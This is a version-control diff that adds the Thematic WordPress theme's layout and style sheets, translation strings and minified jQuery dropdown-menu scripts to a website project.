+msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:77 +msgid "All posts" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:78 +msgid "All comments" +msgstr "" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:96 +msgid "Title:" +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/layouts/2c-l-fixed.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/layouts/2c-l-fixed.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,74 @@ +/* +LAYOUT: One-Column (Left) Fixed +DESCRIPTION: Two-column 950px fixed layout with one sidebar left of content +*/ + +body { + min-width:940px; +} +#header { + position:relative; +} +#branding { + width:940px; + margin:0 auto; +} +#access { + position:relative; + overflow:hidden; +} +.menu { + width:940px; + margin:0 auto; +} +#main { + width:940px; + margin:0 auto; + overflow:hidden; + position:relative; +} +#container { + width:940px; + float:right; + margin: 0 0 0 -310px; +} +#content { + width:620px; + overflow:hidden; + margin: 0 0 0 320px; +} +.hentry { + width:620px; +} +.main-aside { + width:300px; + float:left; + position:relative; +} +#primary { + float:left; +} +#secondary { + clear:left; +} +#footer { + clear:both; +} +#subsidiary { + width:940px; + margin:0 auto; + overflow:hidden; +} +#subsidiary .aside { + width:300px; + float:left; + margin:0 20px 0 0; +} +#subsidiary #third { + margin:0; +} +#siteinfo { + clear:both; + width:940px; + margin:0 auto; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/layouts/2c-r-fixed.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/layouts/2c-r-fixed.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,68 @@ +/* +LAYOUT: One-Column (Right) Fixed +DESCRIPTION: Two-column 950px fixed layout with one sidebar right of content +*/ + +body { + min-width:960px; +} +#header { + position:relative; +} +#branding { + width:940px; + margin:0 auto; +} +#access { + position:relative; + overflow:hidden; +} +.menu { + width:940px; + margin:0 auto; +} +#main { + width:960px; + margin:0 auto; + overflow:hidden; + position:relative; +} +#container { + width:620px; + float:left; +} +#content { + margin:0 0 0 10px; + width:540px; + overflow:hidden; +} +.main-aside { + width:300px; + float:right; + position:relative; + right:10px; +} +#secondary { + clear:right; +} +#footer { + clear:both; +} +#subsidiary { + width:940px; + margin:0 auto; + overflow:hidden; +} +#subsidiary .aside { + width:300px; + float:left; + margin:0 20px 0 0; +} +#subsidiary #third { + margin:0; +} +#siteinfo { + clear:both; + width:940px; + margin:0 auto; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/layouts/3c-fixed.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/layouts/3c-fixed.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,73 @@ +/* +LAYOUT: Three-Column +DESCRIPTION: Three-column 950px fixed layout with two sidebars on either side of content +*/ + +body { + min-width:960px; +} +#header { + position:relative; +} +#branding { + width:940px; + margin:0 auto; +} +#access { + position:relative; + overflow:hidden; +} +.menu { + width:940px; + margin:0 auto; +} +#main { + width:960px; + margin:0 auto; + overflow:hidden; + position:relative; +} +#container { + width:940px; + float:left; + margin:0 0 0 10px; +} +#content { + margin: 0 240px; + overflow:hidden; +} +#primary { + width:220px; + float:left; + margin: 0 0 0 -940px; +} +* html #primary { + left: 20px; + position: relative; +} +#secondary { + width:220px; + float:left; + margin: 0 0 0 -220px; +} +#footer { + clear:both; +} +#subsidiary { + width:960px; + margin:0 auto; + overflow:hidden; +} +#subsidiary .aside { + width:300px; + float:left; + margin:0 10px 0 10px; +} +#subsidiary #third { + margin:0 0 0 10px; +} +#siteinfo { + clear:both; + width:940px; + margin:0 auto; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/layouts/3c-r-fixed-primary.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/layouts/3c-r-fixed-primary.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,68 @@ +/* +LAYOUT: Three-Column (Right) Primary +DESCRIPTION: Three-column 950px fixed layout with two sidebars right of content, primary being on the left. +*/ + +body { + min-width:960px; +} +#header { + position:relative; +} +#branding { + width:940px; + margin:0 auto; +} +#access { + position:relative; + overflow:hidden; +} +.menu { + width:940px; + margin:0 auto; +} +#main { + width:960px; + margin:0 auto; + overflow:hidden; + position:relative; +} +#container { + width:540px; + float:left; + margin:0 0 0 10px; +} +#content { + overflow:hidden; +} +#primary { + width:220px; + float:left; + margin:0 10px 0 20px; +} +#secondary { + width:140px; + float:right; + margin:0 0 0 10px; +} +#footer { + clear:both; +} +#subsidiary { + width:960px; + margin:0 auto; + overflow:hidden; +} +#subsidiary .aside { + width:300px; + float:left; + margin:0 10px 0 10px; +} +#subsidiary #third { + margin:0 0 0 10px; +} +#siteinfo { + clear:both; + width:940px; + margin:0 auto; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/layouts/3c-r-fixed.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/layouts/3c-r-fixed.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,68 @@ +/* +LAYOUT: Three-Column (Right) +DESCRIPTION: Three-column 950px fixed layout with two sidebars right of content +*/ + +body { + min-width:960px; +} +#header { + position:relative; +} +#branding { + width:940px; + margin:0 auto; +} +#access { + position:relative; + overflow:hidden; +} +.menu { + width:940px; + margin:0 auto; +} +#main { + width:960px; + margin:0 auto; + overflow:hidden; + position:relative; +} +#container { + width:540px; + float:left; + margin:0 0 0 10px; +} +#content { + overflow:hidden; +} +#primary { + width:220px; + float:right; + margin:0 10px 0 20px; +} +#secondary { + width:140px; + float:right; + margin:0 0 0 10px; +} +#footer { + clear:both; +} +#subsidiary { + width:960px; + margin:0 auto; + overflow:hidden; +} +#subsidiary .aside { + width:300px; + float:left; + margin:0 10px 0 10px; +} +#subsidiary #third { + margin:0 0 0 10px; +} +#siteinfo { + clear:both; + width:940px; + margin:0 auto; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/legacy/deprecated.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/legacy/deprecated.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,24 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/scripts/hoverIntent.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/scripts/hoverIntent.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:0};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))';return this.each(function(){if($('> iframe.bgiframe',this).length==0)this.insertBefore(document.createElement(html),this.firstChild);});}return this;};if(!$.browser.version)$.browser.version=navigator.userAgent.toLowerCase().match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/)[1];})(jQuery); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/scripts/superfish.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/scripts/superfish.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(b){b.fn.superfish=function(k){var g=b.fn.superfish,j=g.c,f=b([' »'].join("")),i=function(){var c=b(this),l=d(c);clearTimeout(l.sfTimer);c.showSuperfishUl().siblings().hideSuperfishUl()},e=function(){var c=b(this),m=d(c),l=g.op;clearTimeout(m.sfTimer);m.sfTimer=setTimeout(function(){l.retainPath=(b.inArray(c[0],l.$path)>-1);c.hideSuperfishUl();if(l.$path.length&&c.parents(["li.",l.hoverClass].join("")).length<1){i.call(l.$path)}},l.delay)},d=function(c){var l=c.parents(["ul.",j.menuClass,":first"].join(""))[0];g.op=g.o[l.serial];return l},h=function(c){c.addClass(j.anchorClass).append(f.clone())};return this.each(function(){var c=this.serial=g.o.length;var m=b.extend({},g.defaults,k);m.$path=b("li."+m.pathClass,this).slice(0,m.pathLevels).each(function(){b(this).addClass([m.hoverClass,j.bcClass].join(" ")).filter("li:has(ul)").removeClass(m.pathClass)});g.o[c]=g.op=m;b("li:has(ul)",this)[(b.fn.hoverIntent&&!m.disableHI)?"hoverIntent":"hover"](i,e).each(function(){if(m.autoArrows){h(b(">a:first-child",this))}}).not("."+j.bcClass).hideSuperfishUl();var l=b("a",this);l.each(function(n){var o=l.eq(n).parents("li");l.eq(n).focus(function(){i.call(o)}).blur(function(){e.call(o)})});m.onInit.call(this)}).each(function(){var c=[j.menuClass];if(g.op.dropShadows&&!(b.browser.msie&&b.browser.version<7)){c.push(j.shadowClass)}b(this).addClass(c.join(" "))})};var a=b.fn.superfish;a.o=[];a.op={};a.IE7fix=function(){var c=a.op;if(b.browser.msie&&b.browser.version>6&&c.dropShadows&&c.animation.opacity!=undefined){this.toggleClass(a.c.shadowClass+"-off")}};a.c={bcClass:"sf-breadcrumb",menuClass:"sf-js-enabled",anchorClass:"sf-with-ul",arrowClass:"sf-sub-indicator",shadowClass:"sf-shadow"};a.defaults={hoverClass:"sfHover",pathClass:"overideThisToUse",pathLevels:1,delay:800,animation:{opacity:"show"},speed:"normal",autoArrows:true,dropShadows:true,disableHI:false,onInit:function(){},onBeforeShow:function(){},onShow:function(){},onHide:function(){}};b.fn.extend({hideSuperfishUl:function(){var e=a.op,d=(e.retainPath===true)?e.$path:"";e.retainPath=false;var c=b(["li.",e.hoverClass].join(""),this).add(this).not(d).removeClass(e.hoverClass).find(">ul").hide().css("visibility","hidden");e.onHide.call(c);return this},showSuperfishUl:function(){var e=a.op,d=a.c.shadowClass+"-off",c=this.addClass(e.hoverClass).find(">ul:hidden").css("visibility","visible");a.IE7fix.call(c);e.onBeforeShow.call(c);c.animate(e.animation,e.speed,function(){a.IE7fix.call(c);e.onShow.call(c)});return this}})})(jQuery); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/scripts/supersubs.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/scripts/supersubs.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(a){a.fn.supersubs=function(b){var c=a.extend({},a.fn.supersubs.defaults,b);return this.each(function(){var d=a(this);var e=a.meta?a.extend({},c,d.data()):c;var f=a('').css({padding:0,position:"absolute",top:"-999em",width:"auto"}).appendTo(d).width();a("#menu-fontsize").remove();$ULs=d.find("ul");$ULs.each(function(l){var k=$ULs.eq(l);var j=k.children();var g=j.children("a");var m=j.css("white-space","nowrap").css("float");var h=k.add(j).add(g).css({"float":"none",width:"auto"}).end().end()[0].clientWidth/f;h+=e.extraWidth;if(h>e.maxWidth){h=e.maxWidth}else{if(hul",this);var i=n.css("left")!==undefined?"left":"right";n.css(i,h)})})})};a.fn.supersubs.defaults={minWidth:9,maxWidth:25,extraWidth:0}})(jQuery); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/scripts/thematic-dropdowns.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/scripts/thematic-dropdowns.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,15 @@ +jQuery.noConflict(); +jQuery(document).ready(function(){ + jQuery("ul.sf-menu").supersubs({ + minWidth: 12, // minimum width of sub-menus in em units + maxWidth: 27, // maximum width of sub-menus in em units + extraWidth: 1 // extra width can ensure lines don't sometimes turn over + // due to slight rounding differences and font-family + }).superfish({ + delay: 400, // delay on mouseout + animation: {opacity:'show',height:'show'}, // fade-in and slide-down animation + speed: 'fast', // faster animation speed + autoArrows: false, // disable generation of arrow mark-up + dropShadows: false // disable drop shadows + }); +}); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/styles/18px.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/styles/18px.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,92 @@ +/* -------------------------------------------------------------- + + Minimal styles that hold to a 18px line-height + +-------------------------------------------------------------- */ + +/* =Header +-------------------------------------------------------------- */ + +#branding { + padding:18px 0; +} + +/* =Menu +-------------------------------------------------------------- */ + +.skip-link { + display:none; +} +#menu { + overflow:hidden; /* clears the inner float */ +} +#menu ul { + margin:0; + list-style:none; +} +#menu ul ul { + display:none; +} +#menu li { + display:inline; +} +#menu a { + display:block; + float:left; +} + +/* =Content +-------------------------------------------------------------- */ + +#main { + padding-top:18px; +} +.hentry { + padding-bottom:18px; +} +.page-link { + margin-bottom:18px; +} + +/* =Navigation +-------------------------------------------------------------- */ + +.navigation { + margin:0px 0 18px 0; + overflow:hidden; +} +.nav-previous { + float: left; + width:50%; +} +.nav-next { + float: right; + width:50%; + text-align:right; +} +#nav-above,#nav-below { + width: 100%; +} + +/* =Comments +-------------------------------------------------------------- */ + + +/* =Asides, Sidebars & Widget-Ready Areas +-------------------------------------------------------------- */ + +.aside ul { + list-style:none; + margin-left:0; +} +.aside ul ul { + list-style:disc; + margin:0 0 18px 1.5em; +} +.aside ul ul ul { + margin-bottom:0; +} +.aside form, +.aside table { + margin-bottom:18px; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/styles/21px.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/styles/21px.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,123 @@ +/* -------------------------------------------------------------- + + Minimal styles that hold to a 21px line-height + +-------------------------------------------------------------- */ + +/* =Global Elements +-------------------------------------------------------------- */ + +/* +You'll want to import this after typography.css because +we're going to set a couple of typographical styles here +*/ + +body, input, textarea { + font: 14px Arial,sans-serif; + line-height:21px; +} +p, ul, ol, dd, pre { + margin-bottom:21px; +} +pre, code { + font:13px Monaco, monospace; + line-height:21px; +} + +/* =Header +-------------------------------------------------------------- */ + +#branding { + padding:21px 0; +} + +/* =Menu +-------------------------------------------------------------- */ + +.skip-link { + display:none; +} +#menu { + overflow:hidden; /* clears the inner float */ +} +#menu ul { + margin:0; + list-style:none; +} +#menu ul ul { + display:none; +} +#menu li { + display:inline; +} +#menu a { + display:block; + float:left; +} + +/* =Content +-------------------------------------------------------------- */ + +#main { + padding-top:21px; +} +.hentry { + padding-bottom:21px; +} +.page-link { + margin-bottom:21px; +} + +/* =Images +-------------------------------------------------------------- */ + +.entry-content img, +.wp-caption { + margin-bottom:21px; +} +.wp-smiley { + max-height:14px; +} + +/* =Navigation +-------------------------------------------------------------- */ + +.navigation { + margin:0px 0 21px 0; + overflow:hidden; +} +.nav-previous { + float: left; + width:50%; +} +.nav-next { + float: right; + width:50%; + text-align:right; +} +#nav-above,#nav-below { + width: 100%; +} + +/* =Comments +-------------------------------------------------------------- */ + + +/* =Asides, Sidebars & Widget-Ready Areas +-------------------------------------------------------------- */ + +.aside ul { + list-style:none; + margin-left:0; +} +.aside ul ul { + list-style:disc; + margin:0 0 21px 1.5em; +} +.aside ul ul ul { + margin-bottom:0; +} +.aside form, +.aside table { + margin-bottom:21px; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/styles/classic.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/styles/classic.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,655 @@ +/* -------------------------------------------------------------- + + Default theme styles for Thematic + +-------------------------------------------------------------- */ + + +/* Un-comment the line below to set a grid with 18px line-height */ +/*body { background:url(library/grids/960_grid_12_col.gif) repeat-y top center; }*/ + + +/* =Global Elements +-------------------------------------------------------------- */ + +body { + font-family:Georgia, serif; +} +#wrapper { + border-top:9px solid black; +} +a:link, a:visited { + color:#2772B3; + text-decoration:none; +} +a:hover { + text-decoration:underline; +} +blockquote { + font-style:italic; + font-size:13px; +} +blockquote em, blockquote cite, blockquote i { + font-style:normal; +} +input, textarea { + font-family:Georgia, serif; +} +.caps { + font-size:10px; + text-transform:uppercase; + letter-spacing:1px; +} +.important { + font-weight:bold; +} + +/* =Header +-------------------------------------------------------------- */ + +#header { + background:#181E24; +} +#blog-title { + font-size:36px; + line-height:54px; + font-weight:bold; + letter-spacing:-1px; + padding:99px 0 0 0; + border-bottom:1px solid #242A30; +} +#blog-title a { + color:#fff; + text-decoration:none; +} +#blog-description { + font-style:italic; + padding:8px 0 63px 0; + color:#fff; +} + +/* =Menu +-------------------------------------------------------------- */ + +#access { + font-size:11px; + background:#B5D1EA; + border-top:1px solid #CADEF0; + margin-top:-1px; +} +.skip-link { + display:none; +} +.menu { + padding:7px 0 8px 0; + overflow:hidden; /* clears the inner float */ +} +.menu ul, +.menu ul { + margin:0; + list-style:none; + clear:both; +} +.menu ul ul { + display:none; +} +.menu li { + display:inline; +} +.menu a { + display:block; + float:left; + margin:0 10px 0 0; + padding:1px 6px; + background:#87B5DD; + color:#fff; + border-top:1px solid #6DA5D6; + text-decoration:none; +} +.menu a:hover { + background:#5C9BD1; + color:#fff; + border-color:#3B86C7; +} +.menu .current_page_item a { + background:#5C9BD1; + color:#fff; + border-color:#3B86C7; +} +.menu a:focus { + background:#4887BD; + color:#fff; + border-color:#2772B3; +} + +/* =Content +-------------------------------------------------------------- */ + +#main { + padding:54px 0; +} +#content { +} +.hentry { + margin:9px 0 0 0; + padding:44px 1px 36px 1px; + border-top:1px solid #e0e0e0; +} +.p1 { + margin:0; + padding:0 0 36px 0; + border:none; +} +.page-title { + font-size:14px; + font-weight:bold; + padding:18px 0; +} +.page-title span { + font-size:12px; + font-weight:normal; + font-style:italic; +} +.entry-title { + font-size:24px; + line-height:26px; + padding:8px 0 2px 0; + font-weight:bold; + color:#000; +} +.entry-title a { + text-decoration:none; + color:#000; +} +.entry-meta { + font-size:11px; + color:#787878; +} +.entry-meta a { + color:#787878; + font-style:italic; +} +.entry-meta a:hover { +} +.entry-meta .author { +} +.entry-meta .meta-sep { +} +.entry-meta abbr { +} +.entry-content { + margin:18px 0 0 0; + overflow:hidden; +} +.entry-content h1, .entry-content h2 { + font-size:18px; + font-weight:bold; + margin:0 0 18px 0; + padding:18px 0 0 0; +} +.entry-content h3 { + font-weight:bold; + text-transform:uppercase; + letter-spacing:1px; + margin:0 0 18px 0; + padding:18px 0 0 0; +} +.entry-content h4 { + font-weight:bold; + font-size:11px; + text-transform:uppercase; + letter-spacing:1px; +} +.entry-content h5 { + font-size:11px; + text-transform:uppercase; + letter-spacing:1px; +} +.entry-content h6 { + font-size:10px; + text-transform:uppercase; + letter-spacing:1px; +} +.entry-content ul { + list-style:square; + margin:0 0 18px 1.5em; +} +.entry-content dt { + font-weight:bold; +} +.entry-content dd { + margin:0 0 18px 0; +} +.entry-content abbr, .entry-content acronym, .entry-content .help { + border-bottom: 1px dotted #333; + cursor: help; +} +.entry-content ul.xoxo { + margin:0 0 18px 0; + overflow:hidden; +} +.entry-content ul.xoxo ul { + margin:0 0 0 1.5em; +} +li.content-column, .entry-content li.linkcat { + float:left; + list-style:none; + margin:0 20px 0 0; +} +.entry-content li.linkcat ul.xoxo { + overflow:visible; +} +.more-link { + font-weight:bold; + font-style:italic; + display:block; +} +.page-link { + margin:0 0 18px 0; +} +.page .edit-link { + float:left; + clear:both; +} +.entry-utility { + font-size:11px; + color:#787878; +} +.entry-utility a { + font-style:italic; + color:#787878; +} +.entry-utility a:hover { +} +.comments-link a { + font-weight:bold; + color:#2772B3; +} + +/* =Comments +-------------------------------------------------------------- */ + +#comments { + background:#B5D1EA; + color:#fff; + margin:54px 0 0 0; + padding:18px 0; + overflow:hidden; +} +#comments .comment-navigation { + background:#87B5DD; + border-top:1px solid #6DA5D6; + line-height:36px; + margin:-18px 20px 18px 20px; + padding:0 20px; + overflow:hidden; +} +.comment-navigation a { + color:#fff; +} +.paginated-comments-links { + text-align:center; +} +#comments h3 { + font-weight:bold; + text-transform:uppercase; + letter-spacing:1px; + text-align:center; + margin:0 0 18px 0; + padding:0 20px 0 20px; +} +#comments .comments:first-child h3 { + padding-top:18px; +} +#comments ol { + margin:0 0 36px 0; + list-style:none; +} +#comments ol ul { + list-style:none; + margin:0; + padding:0 0 18px 0; +} +#comments li { + background:#87B5DD; + border-top:1px solid #6DA5D6; + margin:0 20px 18px 20px; + padding:17px 20px 0 20px; + position:relative; +} +#comments li li { + border:1px solid #6DA5D6; + margin:0 0 18px 0; +} +#comments a { +} +#comments li.byuser { + background:#5C9BD1; + border-color:#3B86C7; +} +#comments li.byuser p a { +} +#comments li.bypostauthor { +} +#comments li.bypostauthor p a { +} +#comments .avatar { + width:48px; + height:48px; + position:absolute; + top:19px; + left:20px !important; + left:0px; +} +#comments .fn { + font-weight:bold; + font-size:14px; + padding:18px 0 0 58px; + display:block; +} +#comments .fn a { + color:#fff; +} +#comments-list .comment-meta { + font-size:10px; + margin:0 0 18px 0; + padding:0 0 0 58px +} +#comments-list .comment-meta a { + font-style:italic; + color:#fff; +} +#comments li p { + margin:0; + padding:0 0 18px 0; +} +.comment-reply-link { + font-size:10px; + font-style:italic; + padding:0 0 18px 0; +} +.comment-reply-link a { + color:#fff; +} +#cancel-comment-reply { + padding:0 0 18px 0; +} +#trackbacks-list .comment-author { + margin:0 0 18px 0; + font-size:11px; +} +#trackbacks-list .comment-author a { + font-size:14px; + font-weight:bold; + color:#fff; +} +#respond { + background:#87B5DD; + border-top:1px solid #6DA5D6; + padding:17px 20px 0 20px; + width:auto; + _width:460px; /* IE6 Hack to display correctly the respond form */ + max-width:460px; + margin:0 auto; + z-index:100; +} +#respond h3 { + padding-top:18px; +} +#cancel-comment-reply a { + color:#fff; + font-style:italic; +} +#respond form { + padding:0 0 36px 0; +} +#respond #form-section-author { + width:230px; + float:left; + margin-right:10px; +} +#respond #form-section-author input { + width:220px; +} +#respond #form-section-email { + width:220px; + float:left; +} +#respond #form-section-email input { + width:100%; +} +#respond #form-section-url { + clear:both; +} +#respond #form-section-url input { + width:100%; +} +#respond .form-label { + font-size:10px; +} +#respond .form-input input { + margin:0 0 14px 0; +} +#respond textarea { + width:100%; + margin:0 0 16px 0; +} +#respond .form-submit { + float:right; +} +p.subscribe-to-comments { + width:260px; + float:left; +} +p.subscribe-to-comments label { +} +p.comment_license { + clear:both; + margin:0; +} +p.solo-subscribe-to-comments { + clear:both; + margin:0; +} +p.solo-subscribe-to-comments:first-line { + font-style:italic; +} +#respond .required { + font-weight:bold; +} + +/* =Author Info +-------------------------------------------------------------- */ + +#author-info { + margin:18px 0 36px 0; +} +#author-info p:first-line { + font-weight:bold; +} +#author-info .avatar { + float:left; + width:72px; + height:72px; + margin:0 10px 0 0; + padding:5px; + background:#B5D1EA; + position:relative; + top:4px; +} + +/* =Navigation +-------------------------------------------------------------- */ + +.navigation { + margin:0px 0 36px 0; + overflow:hidden; +} +.nav-previous { + float: left; + width:50%; +} +.nav-next { + float: right; + width:50%; + text-align:right; +} +#nav-above,#nav-below { + width: 100%; +} +#nav-above { + margin:18px 0 36px 0; +} +.home #nav-above, .single #nav-above { + display:none; +} +.paged #nav-above { + display:block; +} + +/* =Asides (widgetized areas) +-------------------------------------------------------------- */ + +.aside ul { + margin:0; + list-style:none; +} +.aside h3 { + font-size:14px; + font-weight:bold; +} +.aside ul ul { + list-style:square; + margin:0 0 18px 1.5em; +} +.aside ul ul ul { + margin:0 0 0 1.5em; +} +/* Begin Calendar styles */ +.aside table { + border-top:1px solid #e0e0e0; + margin:0 0 8px 0; +} +.aside th { + border-left:1px solid #e0e0e0; +} +.aside tr { + border-bottom:1px solid #e0e0e0; + border-right:1px solid #e0e0e0; + line-height:35px; +} +.aside td { + border-left:1px solid #e0e0e0; + padding:0 10px +} +.aside caption { /* Make the caption match h3 styles */ + font-size:14px; + font-weight:bold; + text-align:left; + margin:0 0 9px 0; +} +.aside tfoot tr { + border:none; + line-height:36px; +} +.aside tfoot td { + border:none; + padding:0; +} +.aside #next { + text-align:right; +} +/* End Calendar styles */ +/* Begin Search styles */ +.aside form { + margin:4px 0 10px 0; +} +/* End Search styles */ +#content .widgetcontainer { + border-top:1px solid #e0e0e0; + padding:35px 1px 18px 1px; + margin:18px 0 36px 0; +} +#index-top .widgetcontainer, +#single-top .widgetcontainer, +#page-top .widgetcontainer { + border-top:none; + border-bottom:1px solid #e0e0e0; + padding:0 1px 53px 1px; + margin:0 0 36px 0; +} +#content .aside:first-child .widgetcontainer:first-child { + padding-top:18px; +} +.page #content .aside:first-child .widgetcontainer:first-child { + padding-top:0; +} +#content .aside h3 { + font-size:24px; + line-height:26px; + padding:8px 0 20px 0; + font-weight:bold; +} +#single-bottom .widgetcontainer { + border-top:none; +} +.main-aside h3 { + padding:17px 0 1px 0; +} +#footer .widgetcontainer { + padding:0 1px; + margin:0 0 18px 0; +} + +/* =Footer +-------------------------------------------------------------- */ + +#footer { + background:#181E24; + color:#fff; + padding:34px 0 90px 0; + border-top:2px solid #000; +} +#footer a { + color:#fff; +} +#subsidiary .aside { + margin-bottom:18px; +} +#siteinfo { + padding:18px 0; + font-size:11px; +} +#siteinfo a { + font-style:italic; +} + +/* =PageNavi +-------------------------------------------------------------- */ + +/* Use !important to override PageNavi CSS */ + +.wp-pagenavi { + margin:0 0 0 0; + line-height:36px; +} +.wp-pagenavi a, .wp-pagenavi a:link, .wp-pagenavi a:active { + color:#2772B3 !important; + background:transparent !important; + border:1px solid #e0e0e0 !important; +} +.wp-pagenavi a:hover { + color:#000 !important; +} +.wp-pagenavi span.pages { + margin-left:0 !important; + padding-left:0 !important; +} +.wp-pagenavi span.current { + border:1px solid #e0e0e0 !important; +} +.wp-pagenavi span.extend { + margin:0 !important; +} + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/styles/default.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/styles/default.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,854 @@ + +/* =Global Elements +-------------------------------------------------------------- */ + +body, input, textarea { + font: 15px Georgia,serif; + line-height:22px; +} +p, ul, ol, dd, pre { + margin-bottom:22px; +} +pre, code { + font:14px Monaco, monospace; + line-height:22px; +} +blockquote { + color:#666; + font-style:italic; +} +table { + border:1px solid #ccc; + border-width:1px 1px 0 1px; + font-size:13px; + line-height:18px; + margin:0 0 22px 0; + text-align:left; +} +caption { + text-align:left; +} +tr { + border-bottom:1px solid #ccc; +} +th, td { + padding: .7em 1.25em; +} +hr { + background-color:#ccc; + border:0; + color:#ccc; + height:1px; + margin-bottom:22px; +} +a:link { + color:#004B91; +} +a:visited { + color:#743399; +} +a:active, +a:hover { + color: #FF4B33; +} + + +/* =Header +-------------------------------------------------------------- */ + +#header { + z-index:2; +} +#branding { + padding:88px 0 44px 0; +} +#blog-title { + font-family:Arial,sans-serif; + font-size:34px; + font-weight:bold; + line-height:40px; +} +#blog-title a { + color:#000; + text-decoration:none; +} +#blog-title a:active, +#blog-title a:hover { + color: #FF4B33; +} +#blog-description { + color:#666; + font-size:13px; + font-style:italic; +} + + +/* =Menu +-------------------------------------------------------------- */ + +.skip-link { + display:none; +} +#access { + border-bottom:1px solid #ccc; + height:32px; + font-size:13px; + overflow:visible; + z-index:100; +} +/*** ESSENTIAL STYLES ***/ +.sf-menu, .sf-menu * { + margin: 0; + padding: 0; + list-style: none; +} +.sf-menu { + line-height: 1.0; +} +.sf-menu ul { + position: absolute; + top: -999em; + width: 10em; /* left offset of submenus need to match (see below) */ +} +.sf-menu ul li { + width: 100%; +} +.sf-menu li:hover { + visibility: inherit; /* fixes IE7 'sticky bug' */ +} +.sf-menu li { + float: left; + position: relative; +} +.sf-menu a { + display: block; + position: relative; +} +.sf-menu li:hover ul, +.sf-menu li.sfHover ul { + left: 0; + top: 2.5em; /* match top ul list item height */ + z-index: 99; +} +ul.sf-menu li:hover li ul, +ul.sf-menu li.sfHover li ul { + top: -999em; +} +ul.sf-menu li li:hover ul, +ul.sf-menu li li.sfHover ul { + left: 10em; /* match ul width */ + top: 0; +} +ul.sf-menu li li:hover li ul, +ul.sf-menu li li.sfHover li ul { + top: -999em; +} +ul.sf-menu li li li:hover ul, +ul.sf-menu li li li.sfHover ul { + left: 10em; /* match ul width */ + top: 0; +} + +/*** THEMATIC SKIN ***/ +.sf-menu { + border-right:1px solid #ccc; + float:left; +} +.sf-menu a { + border-left:1px solid #ccc; + border-top:1px solid #ccc; + border-bottom:1px solid #ccc; + padding:9px 13px; + text-decoration:none; +} +.sf-menu .current_page_item a, +.sf-menu .current_page_ancestor a, +.sf-menu .current_page_parent a { + border-bottom-color:#fff; +} +.sf-menu a, .sf-menu a:visited { /* visited pseudo selector so IE6 applies text colour*/ + color: #666; +} +.sf-menu li { + background: #fff; +} +.sf-menu li li { + background: #fff; +} +.sf-menu li li li { + background: #9AAEDB; +} +.sf-menu li:hover, .sf-menu li.sfHover, +.sf-menu a:focus, .sf-menu a:hover, .sf-menu a:active { + 